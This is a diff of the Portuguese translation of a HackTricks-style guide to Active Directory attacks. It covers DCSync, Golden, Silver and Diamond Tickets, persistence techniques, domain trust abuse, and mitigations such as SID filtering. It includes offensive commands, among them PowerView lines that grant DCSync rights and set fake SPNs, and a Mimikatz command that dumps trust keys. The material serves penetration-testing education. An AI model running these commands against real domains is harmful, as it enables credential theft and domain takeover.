+**LAPS** fornece um sistema para gerenciar a **senha do Administrator local** em computadores ingressados no domínio, garantindo que ela seja **randomizada**, única e frequentemente **alterada**. Essas senhas são armazenadas no Active Directory e o acesso é controlado através de ACLs apenas para usuários autorizados. Com permissões suficientes para acessar essas senhas, pivotar para outros computadores torna-se possível.


 {{#ref}}
@ -388,7 +385,7 @@ ad-certificates/certificate-theft.md

 ### Certificate Templates Abuse

-Se **templates vulneráveis** estiverem configurados é possível abusá-los para escalar privilégios:
+Se **templates vulneráveis** estão configurados, é possível abusar deles para escalar privilégios:


 {{#ref}}
@ -399,16 +396,16 @@ ad-certificates/domain-escalation.md

 ### Dumping Domain Credentials

-Uma vez que você obtenha privilégios de **Domain Admin** ou, ainda melhor, **Enterprise Admin**, você pode **extrair** o **banco de dados do domínio**: _ntds.dit_.
+Uma vez que você obtiver privilégios de **Domain Admin** ou ainda melhor **Enterprise Admin**, você pode **dump** o **database do domínio**: _ntds.dit_.

-[**Mais informação sobre DCSync attack pode ser encontrada aqui**](dcsync.md).
+[**Mais informações sobre o ataque DCSync podem ser encontradas aqui**](dcsync.md).

-[**Mais informação sobre como roubar o NTDS.dit pode ser encontrada aqui**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
+[**Mais informações sobre como roubar o NTDS.dit podem ser encontradas aqui**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)

 ### Privesc as Persistence

 Algumas das técnicas discutidas antes podem ser usadas para persistência.\
-Por exemplo, você poderia:
+Por exemplo você poderia:

 - Tornar usuários vulneráveis a [**Kerberoast**](kerberoast.md)

@ -422,7 +419,7 @@ Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"
 Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
 ```

- Conceder privilégios [**DCSync**](#dcsync) a um usuário
+- Conceder privilégios de [**DCSync**](#dcsync) a um usuário

 ```bash
 Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
@ -430,7 +427,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti

 ### Silver Ticket

-O ataque **Silver Ticket** cria um **Ticket Granting Service (TGS) legítimo** para um serviço específico usando o **hash NTLM** (por exemplo, o **hash da conta do PC**). Esse método é empregado para **acessar os privilégios do serviço**.
+O **Silver Ticket attack** cria um **Ticket Granting Service (TGS) ticket legítimo** para um serviço específico usando o **hash NTLM** (por exemplo, o **hash da conta do PC**). Esse método é empregado para **acessar privilégios do serviço**.


 {{#ref}}
@ -439,7 +436,7 @@ silver-ticket.md

 ### Golden Ticket

-Um ataque **Golden Ticket** envolve um atacante obtendo acesso ao **hash NTLM da conta krbtgt** em um ambiente Active Directory (AD). Essa conta é especial porque é usada para assinar todos os **Ticket Granting Tickets (TGTs)**, que são essenciais para autenticação dentro da rede AD.
+Um **Golden Ticket attack** envolve um atacante obtendo acesso ao **hash NTLM da conta krbtgt** em um ambiente Active Directory (AD). Essa conta é especial porque é usada para assinar todos os **Ticket Granting Tickets (TGTs)**, que são essenciais para autenticação dentro da rede AD.

 Uma vez que o atacante obtém esse hash, ele pode criar **TGTs** para qualquer conta que escolher (ataque Silver ticket).

@ -450,7 +447,7 @@ golden-ticket.md

 ### Diamond Ticket

-São como golden tickets forjados de uma forma que **bypassa mecanismos comuns de detecção de golden tickets.**
+Estes são como golden tickets forjados de uma forma que **bypasse mecanismos comuns de detecção de golden tickets.**


 {{#ref}}
@ -459,7 +456,7 @@ diamond-ticket.md

 ### **Certificates Account Persistence**

-**Ter certificados de uma conta ou ser capaz de requisitá-los** é uma ótima forma de persistir na conta do usuário (mesmo que ele mude a senha):
+**Ter certificados de uma conta ou ser capaz de solicitá-los** é uma ótima forma de persistir na conta do usuário (mesmo se ele mudar a senha):


 {{#ref}}
@ -468,7 +465,7 @@ ad-certificates/account-persistence.md

 ### **Certificates Domain Persistence**

-**Usar certificados também é possível para persistir com altos privilégios dentro do domínio:**
+**Usar certificados também permite persistir com altos privilégios dentro do domínio:**


 {{#ref}}
@ -477,13 +474,13 @@ ad-certificates/domain-persistence.md

 ### AdminSDHolder Group

-O objeto **AdminSDHolder** no Active Directory garante a segurança de **grupos privilegiados** (como Domain Admins e Enterprise Admins) aplicando uma **ACL** padrão através desses grupos para prevenir alterações não autorizadas. Contudo, esse recurso pode ser explorado; se um atacante modificar a ACL do AdminSDHolder para dar acesso total a um usuário comum, esse usuário obtém controle extenso sobre todos os grupos privilegiados. Essa medida de segurança, pensada para proteger, pode assim se tornar uma falha se não for monitorada de perto.
+O objeto **AdminSDHolder** no Active Directory assegura a segurança de **grupos privilegiados** (como Domain Admins e Enterprise Admins) aplicando uma **ACL** padrão nesses grupos para prevenir mudanças não autorizadas. Contudo, esse recurso pode ser explorado; se um atacante modificar a ACL do AdminSDHolder para dar acesso total a um usuário comum, esse usuário ganha controle extensivo sobre todos os grupos privilegiados. Essa medida de segurança, pensada para proteger, pode portanto se tornar contraproducente, permitindo acesso indevido a menos que seja monitorada de perto.

-[**Mais informações sobre AdminDSHolder Group aqui.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
+[**Mais informações sobre o AdminDSHolder Group aqui.**](privileged-groups-and-token-privileges.md#adminsdholder-group)

 ### DSRM Credentials

-Dentro de cada **Domain Controller (DC)** existe uma conta de **administrador local**. Ao obter direitos de admin em tal máquina, o hash do Administrator local pode ser extraído usando **mimikatz**. Em seguida, é necessária uma modificação no registro para **habilitar o uso dessa senha**, permitindo acesso remoto à conta Administrator local.
+Dentro de cada **Domain Controller (DC)** existe uma conta de **administrador local**. Ao obter direitos de administrador em tal máquina, o hash do Administrator local pode ser extraído usando **mimikatz**. Em seguida, é necessária uma modificação no registro para **habilitar o uso dessa senha**, permitindo o acesso remoto à conta Administrator local.


 {{#ref}}
@ -492,7 +489,7 @@ dsrm-credentials.md

 ### ACL Persistence

-Você poderia **conceder** algumas **permissões especiais** a um **usuário** sobre alguns objetos específicos do domínio que permitirão ao usuário **elevar privilégios no futuro**.
+Você pode **conceder** algumas **permissões especiais** a um **usuário** sobre certos objetos de domínio que permitirão ao usuário **escalar privilégios no futuro**.


 {{#ref}}
@ -501,7 +498,7 @@ acl-persistence-abuse/

 ### Security Descriptors

-Os **security descriptors** são usados para **armazenar** as **permissões** que um **objeto** tem **sobre** outro **objeto**. Se você puder apenas **fazer** uma **pequena alteração** no **security descriptor** de um objeto, pode obter privilégios muito interessantes sobre esse objeto sem precisar ser membro de um grupo privilegiado.
+Os **security descriptors** são usados para **armazenar** as **permissões** que um **objeto** tem **sobre** outro **objeto**. Se você puder apenas **fazer** uma **pequena alteração** no **security descriptor** de um objeto, você pode obter privilégios muito interessantes sobre esse objeto sem precisar ser membro de um grupo privilegiado.


 {{#ref}}
@ -519,7 +516,7 @@ skeleton-key.md

 ### Custom SSP

-[Saiba o que é um SSP (Security Support Provider) aqui.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
+[Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
 Você pode criar seu **próprio SSP** para **capturar** em **clear text** as **credenciais** usadas para acessar a máquina.


@ -529,7 +526,7 @@ custom-ssp.md

 ### DCShadow

-Registra um **novo Domain Controller** no AD e o usa para **empurrar atributos** (SIDHistory, SPNs...) em objetos especificados **sem** deixar quaisquer **logs** sobre as **modificações**. Você **precisa de DA** privilégios e estar dentro do **root domain**.\
+Registra um **novo Domain Controller** no AD e o usa para **empurrar atributos** (SIDHistory, SPNs...) em objetos especificados **sem** deixar **logs** sobre as **modificações**. Você **precisa de DA** privilégios e estar dentro do **root domain**.\
 Note que se você usar dados errados, logs bem feios aparecerão.


@ -539,8 +536,8 @@ dcshadow.md

 ### LAPS Persistence

-Anteriormente discutimos como escalar privilégios se você tiver **permissão suficiente para ler senhas LAPS**. Entretanto, essas senhas também podem ser usadas para **manter persistência**.\
-Confira:
+Anteriormente discutimos como escalar privilégios se você tiver **permissão suficiente para ler senhas LAPS**. No entanto, essas senhas também podem ser usadas para **manter persistência**.\
+Veja:


 {{#ref}}
@ -549,62 +546,62 @@ laps.md

 ## Forest Privilege Escalation - Domain Trusts

-A Microsoft vê a **Floresta** como o limite de segurança. Isso implica que **comprometer um único domínio pode potencialmente levar ao comprometimento de toda a Floresta**.
+A Microsoft vê a **Forest** como o boundary de segurança. Isso implica que **comprometer um único domínio pode potencialmente levar à divulgação de toda a Forest**.

 ### Basic Information

-Uma [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) é um mecanismo de segurança que permite que um usuário de um **domínio** acesse recursos em outro **domínio**. Essencialmente cria uma ligação entre os sistemas de autenticação dos dois domínios, permitindo que verificações de autenticação fluam sem atrito. Quando domínios configuram uma trust, eles trocam e retêm chaves específicas dentro de seus **Domain Controllers (DCs)**, que são cruciais para a integridade da trust.
+Um [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) é um mecanismo de segurança que permite a um usuário de um **domínio** acessar recursos em outro **domínio**. Essencialmente cria um vínculo entre os sistemas de autenticação dos dois domínios, permitindo que verificações de autenticação fluam sem interrupções. Quando domínios configuram uma trust, eles trocam e mantêm chaves específicas dentro de seus **Domain Controllers (DCs)**, que são cruciais para a integridade da trust.

-Em um cenário típico, se um usuário pretende acessar um serviço em um **domínio confiável**, ele deve primeiro solicitar um ticket especial conhecido como **inter-realm TGT** do DC de seu próprio domínio. Esse TGT é criptografado com uma **chave** compartilhada que ambos os domínios concordaram. O usuário então apresenta esse TGT ao **DC do domínio confiável** para obter um ticket de serviço (**TGS**). Após a validação bem-sucedida do inter-realm TGT pelo DC do domínio confiável, ele emite um TGS, concedendo ao usuário acesso ao serviço.
+Em um cenário típico, se um usuário pretende acessar um serviço em um **domínio confiável**, ele deve primeiro solicitar um ticket especial conhecido como **inter-realm TGT** ao DC do seu próprio domínio. Esse TGT é criptografado com uma **key** compartilhada que ambos domínios acordaram. O usuário então apresenta esse TGT ao **DC do domínio confiável** para obter um service ticket (**TGS**). Após a validação bem-sucedida do inter-realm TGT pelo DC do domínio confiável, ele emite um TGS, concedendo ao usuário acesso ao serviço.

 **Passos**:

-1. Um **client computer** em **Domain 1** inicia o processo usando seu **NTLM hash** para solicitar um **Ticket Granting Ticket (TGT)** de seu **Domain Controller (DC1)**.
+1. Um **cliente** em **Domain 1** inicia o processo usando seu **hash NTLM** para solicitar um **Ticket Granting Ticket (TGT)** ao seu **Domain Controller (DC1)**.
 2. DC1 emite um novo TGT se o cliente for autenticado com sucesso.
-3. O cliente então solicita um **inter-realm TGT** de DC1, que é necessário para acessar recursos em **Domain 2**.
-4. O inter-realm TGT é criptografado com uma **trust key** compartilhada entre DC1 e DC2 como parte da trust bidirecional entre domínios.
-5. O cliente leva o inter-realm TGT ao **Domain Controller (DC2)** de **Domain 2**.
-6. DC2 verifica o inter-realm TGT usando sua trust key compartilhada e, se for válido, emite um **Ticket Granting Service (TGS)** para o servidor em Domain 2 que o cliente deseja acessar.
+3. O cliente então solicita um **inter-realm TGT** ao DC1, que é necessário para acessar recursos em **Domain 2**.
+4. O inter-realm TGT é criptografado com uma **trust key** compartilhada entre DC1 e DC2 como parte da trust bidirecional.
+5. O cliente leva o inter-realm TGT ao **Domain Controller de Domain 2 (DC2)**.
+6. DC2 verifica o inter-realm TGT usando sua trust key compartilhada e, se válido, emite um **Ticket Granting Service (TGS)** para o servidor em Domain 2 que o cliente deseja acessar.
 7. Finalmente, o cliente apresenta esse TGS ao servidor, que é criptografado com o hash da conta do servidor, para obter acesso ao serviço em Domain 2.

 ### Different trusts

-É importante notar que **uma trust pode ser 1 way ou 2 ways**. Na opção de 2 ways, ambos os domínios confiarão um no outro, mas na relação de **1 way** um dos domínios será o **trusted** e o outro o **trusting**. Nesse último caso, **você só poderá acessar recursos dentro do trusting domain a partir do trusted**.
+É importante notar que **uma trust pode ser unidirecional ou bidirecional**. Na opção de 2 ways, ambos domínios confiarão um no outro, mas na relação de **1 way** um dos domínios será o **trusted** e o outro o **trusting**. No último caso, **você só poderá acessar recursos dentro do trusting domain a partir do trusted**.

-Se Domain A confia em Domain B, A é o trusting domain e B é o trusted. Além disso, em **Domain A**, isto seria uma **Outbound trust**; e em **Domain B**, isto seria uma **Inbound trust**.
+Se o Domain A confia no Domain B, A é o trusting domain e B é o trusted. Além disso, em **Domain A**, isto seria uma **Outbound trust**; e em **Domain B**, isto seria uma **Inbound trust**.

 **Different trusting relationships**

- **Parent-Child Trusts**: Esta é uma configuração comum dentro da mesma floresta, onde um child domain tem automaticamente uma trust transitiva bidirecional com seu parent domain. Essencialmente, isso significa que solicitações de autenticação podem fluir entre o parent e o child sem dificuldades.
- **Cross-link Trusts**: Referidas como "shortcut trusts", estas são estabelecidas entre child domains para acelerar processos de referral. Em florestas complexas, os referrals de autenticação normalmente têm que ir até a root da floresta e então descer até o domínio alvo. Ao criar cross-links, a jornada é encurtada, o que é especialmente benéfico em ambientes geograficamente dispersos.
- **External Trusts**: Estas são configuradas entre domínios diferentes e não relacionados e são por natureza non-transitive. Segundo a [documentação da Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), external trusts são úteis para acessar recursos em um domínio fora da floresta atual que não está conectado por uma forest trust. A segurança é reforçada através de SID filtering com external trusts.
- **Tree-root Trusts**: Estas trusts são automaticamente estabelecidas entre o dominio root da floresta e um novo tree root adicionado. Embora não sejam comumente encontradas, tree-root trusts são importantes para adicionar novas domain trees a uma floresta, permitindo que mantenham um nome de domínio único e garantindo transitividade bidirecional. Mais informações podem ser encontradas no [guia da Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Forest Trusts**: Este tipo de trust é uma trust transitiva bidirecional entre dois forest root domains, também aplicando SID filtering para reforçar medidas de segurança.
- **MIT Trusts**: Essas trusts são estabelecidas com domínios Kerberos não-Windows, compatíveis com [RFC4120](https://tools.ietf.org/html/rfc4120). MIT trusts são um pouco mais especializadas e atendem ambientes que exigem integração com sistemas baseados em Kerberos fora do ecossistema Windows.
+- **Parent-Child Trusts**: Esta é uma configuração comum dentro da mesma forest, onde um child domain automaticamente tem uma trust transitiva bidirecional com seu parent domain. Essencialmente, isso significa que pedidos de autenticação podem fluir sem problemas entre parent e child.
+- **Cross-link Trusts**: Referidas como "shortcut trusts", são estabelecidas entre child domains para acelerar processos de referral. Em florestas complexas, referrals de autenticação tipicamente precisam subir até a raiz da forest e depois descer até o domínio alvo. Criando cross-links, a jornada é encurtada, o que é especialmente benéfico em ambientes geograficamente dispersos.
+- **External Trusts**: São configuradas entre domínios diferentes e não relacionados e são não-transitivas por natureza. De acordo com a documentação da [Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), external trusts são úteis para acessar recursos em um domínio fora da forest atual que não está conectado por uma forest trust. A segurança é reforçada através de SID filtering com external trusts.
+- **Tree-root Trusts**: Essas trusts são estabelecidas automaticamente entre o forest root domain e uma nova tree root adicionada. Embora não sejam comumente encontradas, tree-root trusts são importantes para adicionar novas domain trees a uma forest, permitindo que mantenham um nome de domínio único e assegurando transitividade bidirecional. Mais informações podem ser encontradas no guia da [Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
+- **Forest Trusts**: Este tipo de trust é uma trust transitiva bidirecional entre duas forest root domains, também aplicando SID filtering para reforçar medidas de segurança.
+- **MIT Trusts**: Essas trusts são estabelecidas com domínios Kerberos não-Windows, compatíveis com [RFC4120](https://tools.ietf.org/html/rfc4120). MIT trusts são um pouco mais especializadas e atendem ambientes que requerem integração com sistemas baseados em Kerberos fora do ecossistema Windows.

 #### Other differences in **trusting relationships**

- Uma relação de trust também pode ser **transitive** (A confia em B, B confia em C, então A confia em C) ou **non-transitive**.
+- Uma relação de trust também pode ser **transitiva** (A trust B, B trust C, então A trust C) ou **non-transitive**.
 - Uma relação de trust pode ser configurada como **bidirectional trust** (ambos confiam um no outro) ou como **one-way trust** (apenas um confia no outro).

 ### Attack Path

-1. **Enumerar** as relações de trusting
-2. Verificar se algum **security principal** (user/group/computer) tem **acesso** a recursos do **outro domínio**, talvez por entradas ACE ou por estar em grupos do outro domínio. Procure por **relações entre domínios** (a trust foi criada para isso provavelmente).
+1. **Enumerar** as relações de confiança
+2. Verificar se algum **security principal** (user/group/computer) tem **acesso** a recursos do **outro domínio**, talvez por entradas ACE ou por estar em grupos do outro domínio. Procurar por **relacionamentos entre domínios** (a trust foi criada provavelmente para isso).
 1. kerberoast neste caso poderia ser outra opção.
-3. **Comprometer** as **contas** que podem **pivotar** através dos domínios.
+3. **Comprometer** as **contas** que possam **pivotar** entre domínios.

-Atacantes podem acessar recursos em outro domínio através de três mecanismos primários:
+Ataquantes podem acessar recursos em outro domínio através de três mecanismos principais:

- **Local Group Membership**: Principals podem ser adicionados a grupos locais em máquinas, como o grupo “Administrators” em um servidor, concedendo-lhes controle significativo sobre essa máquina.
- **Foreign Domain Group Membership**: Principals também podem ser membros de grupos dentro do domínio estrangeiro. Contudo, a eficácia desse método depende da natureza da trust e do escopo do grupo.
- **Access Control Lists (ACLs)**: Principals podem ser especificados em uma **ACL**, particularmente como entidades em **ACEs** dentro de uma **DACL**, fornecendo-lhes acesso a recursos específicos. Para quem quiser se aprofundar na mecânica de ACLs, DACLs e ACEs, o whitepaper “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” é um recurso inestimável.
+- **Local Group Membership**: Principais podem ser adicionados a grupos locais em máquinas, como o grupo “Administrators” em um servidor, concedendo controle significativo sobre essa máquina.
+- **Foreign Domain Group Membership**: Principais também podem ser membros de grupos dentro do domínio estrangeiro. Entretanto, a eficácia deste método depende da natureza da trust e do escopo do grupo.
+- **Access Control Lists (ACLs)**: Principais podem ser especificados em uma **ACL**, particularmente como entidades em **ACEs** dentro de uma **DACL**, fornecendo-lhes acesso a recursos específicos. Para quem quiser se aprofundar na mecânica de ACLs, DACLs e ACEs, o whitepaper “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” é um recurso inestimável.

 ### Find external users/groups with permissions

 Você pode checar **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** para encontrar foreign security principals no domínio. Estes serão usuários/grupos de **um domínio/forest externo**.

-Você pode checar isso no **Bloodhound** ou usando powerview:
+Você pode checar isso no **Bloodhound** ou usando **powerview**:
 ```powershell
 # Get users that are i groups outside of the current domain
 Get-DomainForeignUser
@ -625,7 +622,7 @@ TrustDirection  : Bidirectional       --> Trust direction (2ways in this case)
 WhenCreated     : 2/19/2021 1:28:00 PM
 WhenChanged     : 2/19/2021 1:28:00 PM
 ```
-Outras maneiras de enumerar trusts de domínio:
+Outras maneiras de enumerar relações de confiança de domínio:
 ```bash
 # Get DCs
 nltest /dsgetdc:<DOMAIN>
@ -638,8 +635,8 @@ nltest /dclist:sub.domain.local
 nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
 ```
 > [!WARNING]
-> Existem **2 trusted keys**, uma para _Child --> Parent_ e outra para _Parent_ --> _Child_.\
-> Você pode identificar qual é usada pelo domínio atual com:
+> Existem **2 chaves trusted**, uma para _Child --> Parent_ e outra para _Parent_ --> _Child_.\
+> Você pode verificar qual está sendo usada pelo domínio atual com:
 >
 > ```bash
 > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
@ -648,7 +645,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts

 #### SID-History Injection

-Escalar para Enterprise admin no domínio child/parent abusando da trust com SID-History injection:
+Escalar para Enterprise admin no domínio filho/pai abusando da trust com SID-History injection:


 {{#ref}}
@ -657,47 +654,47 @@ sid-history-injection.md

 #### Exploit writeable Configuration NC

-Entender como o Configuration Naming Context (NC) pode ser explorado é crucial. O Configuration NC funciona como um repositório central para dados de configuração em toda a forest em ambientes Active Directory (AD). Esses dados são replicados para todos os Domain Controllers (DC) dentro da forest, com DCs graváveis mantendo uma cópia gravável do Configuration NC. Para explorar isso, é necessário ter privilégios **SYSTEM em um DC**, preferencialmente um DC child.
+Entender como o Configuration Naming Context (NC) pode ser explorado é crucial. O Configuration NC funciona como um repositório central de dados de configuração em toda a forest em ambientes Active Directory (AD). Esses dados são replicados para todos os Domain Controller (DC) dentro da forest, com DCs graváveis mantendo uma cópia gravável do Configuration NC. Para explorar isso, é necessário ter **privilégios SYSTEM em um DC**, preferencialmente um DC filho.

-**Vincular GPO ao site do root DC**
+**Link GPO to root DC site**

-O container Sites do Configuration NC inclui informações sobre os sites de todos os computadores ingressados no domínio dentro da forest AD. Operando com privilégios SYSTEM em qualquer DC, atacantes podem vincular GPOs aos sites do root DC. Essa ação pode comprometer o domínio root ao manipular políticas aplicadas a esses sites.
+O container Sites do Configuration NC inclui informações sobre os sites de todos os computadores ingressados ao domínio dentro da forest AD. Operando com privilégios SYSTEM em qualquer DC, atacantes podem linkar GPOs aos sites do DC raiz. Essa ação pode comprometer o domínio raiz ao manipular políticas aplicadas a esses sites.

-Para informações detalhadas, pode-se consultar a pesquisa sobre [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
+For in-depth information, one might explore research on [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).

-**Comprometer qualquer gMSA na forest**
+**Compromise any gMSA in the forest**

-Um vetor de ataque envolve mirar gMSAs privilegiadas dentro do domínio. A KDS Root key, essencial para calcular as senhas de gMSAs, é armazenada no Configuration NC. Com privilégios SYSTEM em qualquer DC, é possível acessar a KDS Root key e calcular as senhas de qualquer gMSA em toda a forest.
+Um vetor de ataque envolve mirar em gMSAs privilegiadas dentro do domínio. A KDS Root key, essencial para calcular as senhas das gMSAs, está armazenada dentro do Configuration NC. Com privilégios SYSTEM em qualquer DC, é possível acessar a KDS Root key e calcular as senhas de qualquer gMSA em toda a forest.

-Análise detalhada e passo a passo podem ser encontrados em:
+Detailed analysis and step-by-step guidance can be found in:


 {{#ref}}
 golden-dmsa-gmsa.md
 {{#endref}}

-Ataque complementar a MSA delegada (BadSuccessor – abusando de atributos de migração):
+Complementary delegated MSA attack (BadSuccessor – abusing migration attributes):


 {{#ref}}
 badsuccessor-dmsa-migration-abuse.md
 {{#endref}}

-Pesquisa externa adicional: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
+Additional external research: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).

 **Schema change attack**

-Esse método requer paciência, aguardando a criação de novos objetos AD privilegiados. Com privilégios SYSTEM, um atacante pode modificar o AD Schema para conceder a qualquer usuário controle completo sobre todas as classes. Isso pode levar a acesso não autorizado e controle sobre novos objetos AD criados.
+Esse método exige paciência, aguardando a criação de novos objetos AD privilegiados. Com privilégios SYSTEM, um atacante pode modificar o AD Schema para conceder a qualquer usuário controle total sobre todas as classes. Isso pode levar a acesso não autorizado e controle sobre objetos AD recém-criados.

-Leitura adicional está disponível em [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
+Further reading is available on [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).

 **From DA to EA with ADCS ESC5**

-A vulnerabilidade ADCS ESC5 explora o controle sobre objetos de Public Key Infrastructure (PKI) para criar um template de certificado que permite autenticar como qualquer usuário dentro da forest. Como os objetos PKI residem no Configuration NC, comprometer um DC child gravável permite a execução de ataques ESC5.
+A vulnerabilidade ADCS ESC5 mira no controle de objetos de Public Key Infrastructure (PKI) para criar um template de certificado que permite autenticar-se como qualquer usuário dentro da forest. Como objetos PKI residem no Configuration NC, comprometer um DC filho gravável permite a execução de ataques ESC5.

-Mais detalhes podem ser lidos em [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Em cenários sem ADCS, o atacante tem a capacidade de configurar os componentes necessários, conforme discutido em [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
+More details on this can be read in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenarios lacking ADCS, the attacker has the capability to set up the necessary components, as discussed in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).

-### Domínio de Forest Externa - One-Way (Inbound) ou bidirecional
+### External Forest Domain - One-Way (Inbound) or bidirectional
 ```bash
 Get-DomainTrust
 SourceName      : a.domain.local   --> Current domain
@ -708,14 +705,14 @@ TrustDirection  : Inbound          --> Inboud trust
 WhenCreated     : 2/19/2021 10:50:56 PM
 WhenChanged     : 2/19/2021 10:50:56 PM
 ```
-Neste cenário, **seu domínio é confiável** por um domínio externo, concedendo-lhe **permissões indeterminadas** sobre ele. Você precisará descobrir **quais principals do seu domínio têm quais acessos sobre o domínio externo** e então tentar explorá-lo:
+Neste cenário **seu domínio é confiado** por um domínio externo, dando a você **permissões indeterminadas** sobre ele. Você precisará descobrir **quais entidades do seu domínio têm quais acessos sobre o domínio externo** e então tentar explorá-los:


 {{#ref}}
 external-forest-domain-oneway-inbound.md
 {{#endref}}

-### Domínio de Floresta Externa - Unidirecional (Outbound)
+### Domínio de Floresta Externa - Unidirecional (Saída)
 ```bash
 Get-DomainTrust -Domain current.local

@ -729,17 +726,17 @@ WhenChanged     : 2/19/2021 10:15:24 PM
 ```
 Neste cenário **seu domínio** está **confiando** alguns **privilégios** a um principal de **domínios diferentes**.

-No entanto, quando um **domínio é confiado** pelo domínio confiador, o domínio confiado **cria um usuário** com um **nome previsível** que usa como **senha a senha confiada**. O que significa que é possível **acessar um usuário do domínio confiador para entrar no domínio confiado** para enumerá-lo e tentar escalar mais privilégios:
+No entanto, quando um **domain is trusted** pelo domínio que confia, o domínio confiável **cria um usuário** com um **nome previsível** que usa como **senha a trusted password**. Isso significa que é possível **acessar um usuário do domínio que confia para entrar no domínio confiável** para enumerá-lo e tentar escalar mais privilégios:


 {{#ref}}
 external-forest-domain-one-way-outbound.md
 {{#endref}}

-Another way to compromise the trusted domain is to find a [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) created in the **opposite direction** of the domain trust (which isn't very common).
+Outra forma de comprometer o domínio confiável é encontrar um [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) criado na **direção oposta** da trust de domínio (o que não é muito comum).

-Another way to compromise the trusted domain is to wait in a machine where a **user from the trusted domain can access** to login via **RDP**. Then, the attacker could inject code in the RDP session process and **access the origin domain of the victim** from there.\
-Moreover, if the **victim mounted his hard drive**, from the **RDP session** process the attacker could store **backdoors** in the **startup folder of the hard drive**. This technique is called **RDPInception.**
+Outra forma de comprometer o domínio confiável é aguardar em uma máquina onde um **user from the trusted domain can access** para logar via **RDP**. Então, o atacante poderia injetar código no processo da sessão RDP e **acessar o domínio de origem da vítima** a partir dali.\ 
+Além disso, se a **victim mounted his hard drive**, a partir do processo da **RDP session** o atacante poderia armazenar **backdoors** na **startup folder of the hard drive**. Essa técnica é chamada **RDPInception.**


 {{#ref}}
@ -750,13 +747,13 @@ rdp-sessions-abuse.md

 ### **SID Filtering:**

- O risco de ataques que exploram o atributo SID history através de trusts entre florestas é mitigado pelo SID Filtering, que é ativado por padrão em todas as trusts entre florestas. Isso se baseia na suposição de que trusts intra-floresta são seguros, considerando a floresta, em vez do domínio, como o limite de segurança conforme a posição da Microsoft.
- No entanto, há um problema: o SID Filtering pode interromper aplicações e o acesso de usuários, levando à sua desativação ocasional.
+- O risco de ataques que exploram o atributo SID history através de trusts entre florestas é mitigado pelo SID Filtering, que é ativado por padrão em todos os trusts inter-florestais. Isso se baseia na suposição de que os trusts intra-floresta são seguros, considerando a floresta, em vez do domínio, como a fronteira de segurança, conforme a posição da Microsoft.
+- No entanto, existe um problema: o SID filtering pode interromper aplicações e o acesso de usuários, levando à sua desativação ocasional.

 ### **Selective Authentication:**

- Para trusts entre florestas, empregar o Selective Authentication garante que usuários das duas florestas não sejam autenticados automaticamente. Em vez disso, permissões explícitas são necessárias para que usuários acessem domínios e servidores dentro do domínio ou floresta confiadora.
- É importante notar que essas medidas não protegem contra a exploração do Configuration Naming Context (NC) gravável nem contra ataques à conta de trust.
+- Para trusts entre florestas, empregar Selective Authentication garante que usuários das duas florestas não sejam autenticados automaticamente. Em vez disso, permissões explícitas são necessárias para que usuários acessem domínios e servidores dentro do domínio ou floresta que confia.
+- É importante notar que essas medidas não protegem contra a exploração do writable Configuration Naming Context (NC) ou ataques na trust account.

 [**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)

@ -771,29 +768,29 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move

 [**Learn more about how to protect credentials here.**](../stealing-credentials/credentials-protections.md)

-### **Defensive Measures for Credential Protection**
+### **Medidas defensivas para proteção de credenciais**

